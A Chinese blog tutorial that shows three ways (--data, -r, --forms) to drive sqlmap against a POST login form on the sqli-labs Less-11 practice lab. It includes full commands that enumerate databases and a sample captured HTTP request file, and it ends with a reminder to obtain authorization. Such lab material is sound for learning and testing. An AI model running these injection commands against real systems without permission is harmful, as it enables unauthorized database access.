针对POST型表单注入时sqlmap验证的三种参数

针对POST型表单注入时sqlmap验证的三种参数


一、前提

针对post型的表单,sqlmap有三种参数可验证:
–data 需要自己手工找到参数名以及一些信息
-r 需要自己抓包
–forms sqlmap中的自动抓包获取参数,最方便

二、验证POST型表单注入的三种参数

这里借助sqli-labs靶场的less11,来针对post表单注入,用sqlmap进行验证;
首先打开less11;
在这里插入图片描述
提交任意数据,用burp抓包;
在这里插入图片描述
这里可以看到post请求参数;uname=1111&passwd=11111&submit=Submit

1:–data

利用我们知道的post参数,构造下面命令;

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=1111&passwd=11111&submit=Submit" --dbs

在这里插入图片描述

2:-r

将提交的报文抓包后,把信息存储在一个txt文件中,构造下面命令;

python sqlmap.py -r 文件路径+文件名.txt  --dbs

在这里插入图片描述

3:–forms

利用该命令,使sqlmap自己抓包,构造下面命令;

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --level=5 --dbs

在这里插入图片描述
在这里插入图片描述
这此可见,三种方式都成功的枚举出数据库信息。

### 使用 sqlmap 工具进行 POST 注入漏洞扫描 为了使用 `sqlmap` 对基于 POST 请求的应用程序进行 SQL 注入测试,可以通过指定请求文件的方式来实现。具体操作方法如下: 对于需要通过 POST 方法提交表单数据的情况,先准备好包含 HTTP 请求头以及 POST 数据的文本文件(例如命名为 `request.txt`),该文件的内容应模拟浏览器发送给服务器的实际请求。 假设有一个登录页面接受两个字段:“username” 和 “password”。那么准备好的 `request.txt` 文件可能看起来像这样[^5]: ``` POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 32 username=test&password=test ``` 接着运行带有 `-r` 参数的命令来加载这个保存了完整HTTP请求的消息体文件,并让 `sqlmap` 自动检测是否存在SQL注入的可能性并尝试进一步利用它。完整的命令行指令可能是这样的: ```bash sqlmap -r request.txt --batch ``` 如果希望更精确地控制哪些部分作为潜在可注入点,则可以在上述基础上增加额外选项如 `--data` 来显式指明要测试的具体参数[^1]。 另外,在某些情况下还需要提供认证凭证以便能够访问受保护资源。这可以借助于 `--auth-cred` 及其他相关联的身份验证配置项完成身份验证过程[^3]。 最后提醒一点,执行任何类的渗透测试之前都应当获得目标系统的合法授权许可,非法入侵他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值